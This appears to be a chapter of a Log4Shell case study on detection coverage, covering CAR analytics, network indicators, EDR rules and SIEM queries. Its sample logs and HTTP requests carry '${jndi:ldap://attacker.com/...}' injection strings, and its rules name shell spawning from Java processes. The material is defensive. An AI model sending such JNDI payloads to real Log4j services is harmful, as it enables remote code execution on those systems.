04 — Detection Coverage: CAR Analytics & Indicators

Applicable CAR Analytics

*High FP rate if legitimate debugging tools present

CAR-2020-04-001: Suspicious Process Spawning

Detection Logic:

DETECT IF:
  - Parent Process = java.exe (or jvm variants)
  - Child Process spawned = cmd.exe, powershell.exe, bash, sh
  - Child Process NOT in whitelist
  - No legitimate activity explanation (e.g., not during deployment)

Example Detection Query:

-- Pseudo-code for SIEM detection
SELECT parent_process, child_process, timestamp,
       user, command_line
FROM process_creation_logs
WHERE parent_process IN ('java.exe', 'javaw.exe')
  AND child_process IN ('cmd.exe', 'powershell.exe', 'bash')
  AND timestamp > DATE_SUB(NOW(), INTERVAL 1 DAY)

Baseline Metrics (Normal Activity): - Java applications rarely spawn shell processes - If they do, it's typically during deployment/scripting - Spawning should be from specific service accounts, not web app users

Alert Threshold: - Any unexpected java → shell process = Medium Severity Alert - 3+ occurrences in 5 minutes = High Severity Alert

Network IOCs (Indicators of Compromise)

JNDI Connection Signatures

Outbound LDAP Connections:

Protocol:     LDAP (TCP/389 or custom port)
Direction:    Outbound from App Server
Initiator:    Java process (PID, process name)
Destination:  Non-internal IP/hostname
Behavior:     Connection established, then immediately closed
              (no lingering connection)

Suspicious Pattern:

App Server (172.16.1.10) --connects-to--> Attacker LDAP (203.0.113.50:1389)
                            [LDAP Bind Request]
                            [LDAP Search Operation]
                            [Serialized Object Response]
                            [Connection closed]

DNS Resolution Indicators

DNS Query: [suspicious-domain].xyz
Resolver:  internal DNS (172.16.1.1)
Querying Host: Java process on app server
Query Type: A record (resolution to IP)
Response:  Attacker-controlled IP (203.0.113.50)
TTL:       Unusually low (<60 seconds) suggesting dynamic updates

Example Suspicious Domains (from Nov-Dec 2021 Log4Shell campaign): - Any domain with "exploit" or "payload" in name - Dynamic DNS services (*.dnslog.cn, etc.) - Recently registered domains with no clear business purpose

RMI Connection Indicators

Protocol:     RMI (Java Remote Method Invocation)
Port:         1099 (default) or custom
Pattern:      Java process initiating RMI registry lookup
Destination:  External IP
Time Correlation: Immediately after suspicious log message received

Process Behavior Monitoring

EDR/XDR Detection Rules

Endpoint Detection & Response (EDR) Rule Example:

rule: Java_Spawning_Shell_Command_Injection
severity: high
enabled: true

detections:
  - process_events:
      - parent_process_name: "java*.exe"
      - child_process_name: ["cmd.exe", "powershell.exe", "bash"]
      - command_line_contains: ["jndi:", "ldap://", "rmi://"]  # Context

  - network_events:
      - protocol: ["LDAP", "RMI", "DNS"]
      - direction: outbound
      - source_process: "java*.exe"
      - destination_ip: not_in(["internal_ips"])

  - file_creation:
      - directory: ["%TEMP%", "%APPDATA%", "/tmp", "/var/tmp"]
      - process: "java*.exe"
      - file_type: ["*.exe", "*.sh", "*.ps1"]

response:
  - alert_soc: "Log4j exploitation attempt detected"
  - isolate_process: true
  - block_network: true

Log Analysis Signatures

Apache Log4j Debug Output

If Log4j logging is set to DEBUG level, you can find clues:

[2021-12-24 11:45:32] DEBUG - StrSubstitutor: Lookup requested for: jndi:ldap://attacker.com/Exploit
[2021-12-24 11:45:32] DEBUG - JNDI context created
[2021-12-24 11:45:32] DEBUG - Attempting to resolve: ldap://attacker.com/Exploit
[2021-12-24 11:46:01] DEBUG - Object deserialized from LDAP response

Application Access Logs

Search for ${ or jndi: in HTTP request logs:

GET /search?q=${jndi:ldap://attacker.com/Ex 200 1234ms "mozilla"
GET /api/query?query=$(jndi:ldap) 400 434ms "curl"
POST /login HTTP/1.1
  Body contains: {"username": "${jndi:ldap://...}"}

SIEM Detection Queries

Splunk Query

index=main source=application_logs OR source=syslog
  "${jndi:" OR "jndi:ldap:" OR "jndi:rmi:"
| stats count by source_ip, dest_ip, parent_process

---

index=main source=process_logs
  parent_process=java.exe child_process IN (cmd.exe, powershell.exe)
| where NOT (user IN (service_account_whitelist))
| alert on threshold=1

Elasticsearch Query

{
  "query": {
    "bool": {
      "must": [
        {
          "range": {
            "timestamp": {
              "gte": "now-24h"
            }
          }
        },
        {
          "bool": {
            "should": [
              { "match": { "log_message": "jndi:ldap" } },
              { "match": { "log_message": "jndi:rmi" } },
              { "match": { "command_line": "${jndi:" } }
            ]
          }
        }
      ]
    }
  }
}

Detection Blind Spots

KGCS Defensive Coverage

In the KGCS graph, the defensive controls for Log4j attacks:

MATCH (t:Technique {attackId: "T1059"})
  -[:DETECTED_BY]->(c:DetectionAnalytic)
RETURN t, c

Results Show: - Primary Detections: CAR-2020-04-001 (Process Spawning) - Secondary Detections: CAR-2019-14-001 (Code Signing), CAR-2014-04-004 (Suspicious Files) - Network Detections: Custom rules for JNDI/RMI/LDAP

Next Steps

Read: 05 Defense Playbook — How to prevent these attacks

Or Jump To: 06 Reasoning Walkthrough — See KGCS analysis

Sources: MITRE CAR, EDR/SIEM vendor documentation, Log4Shell POC analysis